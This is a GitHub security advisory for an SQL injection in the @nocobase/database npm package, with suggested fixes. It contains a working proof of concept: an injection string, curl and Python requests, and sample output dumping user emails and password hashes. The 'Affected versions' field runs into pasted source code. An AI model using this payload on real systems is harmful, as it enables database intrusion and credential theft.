GitHub Advisoryadvisory · npm

GHSA-4948-f92q-f432 @nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading

HIGH Published 2026-04-22 Modified 2026-05-08 Official page ↗
Aliases
CVE-2026-41640
Ecosystem
npm
Packages
@nocobase/database
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-89
Reviewed
2026-04-22

Affected packages

• npm @nocobase/database: < 2.0.39 → fixed in 2.0.39

Description

Summary The `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. Affected component: `@nocobase/database` (core) Affected versions: { const { collection, db, nodeIds } = options; const tableName = collection.quotedTableName(); const { foreignKey, targetKey } = options; const foreignKeyField = collection.model.rawAttributes[foreignKey].field; const targetKeyField = collection.model.rawAttributes[targetKey].field; const queryInterface = db.sequelize.getQueryInterface(); const q = queryInterface.quoteIdentifier.bind(queryInterface); return `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // 0) { const targetKey = association.targetKey; const sql = queryParentSQL({ db: this.db, collection, foreignKey, targetKey, nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows }); const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction }); } ``` PoC The payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact. ``` Injection ID value: root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1 Generated SQL (3 valid UNION ALL branches): WITH RECURSIVE cte AS ( SELECT "id", "parentId" FROM "table" WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1') UNION ALL SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId" ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte The CAST-to-integer triggers a runtime error whose message contains the subquery result. ``` ```bash TOKEN="" 1. Create tree collection with string PKs curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[ {"name":"id","type":"string","primaryKey":true,"interface":"input"}, {"name":"title","type":"string","interface":"input"}, {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true}, {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true} ]}' 2. Create safe root curl -s http://TARGET:13000/api/vuln_tree:create \ -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \ -d '{"id":"root","title":"Root"}' 3. Create injection parent — error-based extraction of admin email python3 -c " import requests, json headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'} payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\" requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': payload_id, 'title': 'x'}) requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers, json={'id': 'child', 'title': 'c', 'parentId': payload_id}) r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers, params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'}) print(json.dumps(r.json(), indent=2)) " Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"[email protected]\""}]} ^^^^^^^^^^^^^^^^^^^^^^^ Exfiltrated data in error message ``` Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13): | Subquery | Extracted Value | |----------|----------------| | `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` | | `SELECT current_database()` | `nocobase` | | `SELECT email FROM users ORDER BY id LIMIT 1` | `[email protected]` | | `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` | | `SELECT string_agg(email\|\|':'||substring(password,1,16), ' \| ') FROM users` | `[email protected]:006af6756e96 \| [email protected]:4653e80e3cbf` | Impact • Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes). • Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries. • Availability: Resource-exhaustive queries or destructive DDL. • Scope change: On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution. • Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`. Fix Suggestion 1. Use parameterized queries. Replace the string concatenation with bind parameters: ```javascript const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(','); const sql = `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte`; return { sql, bind: nodeIds }; ``` Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`. 2. Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`, which has an identical concatenation pattern with `filteredScopeValue`. 3. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (`'`, `"`, `;`, `--`) in string-type primary key fields.

Related

Alias · CVE (1)

  • CVE-2026-41640 NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. vulnerability

Weakness · CWE (1)

  • CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness

References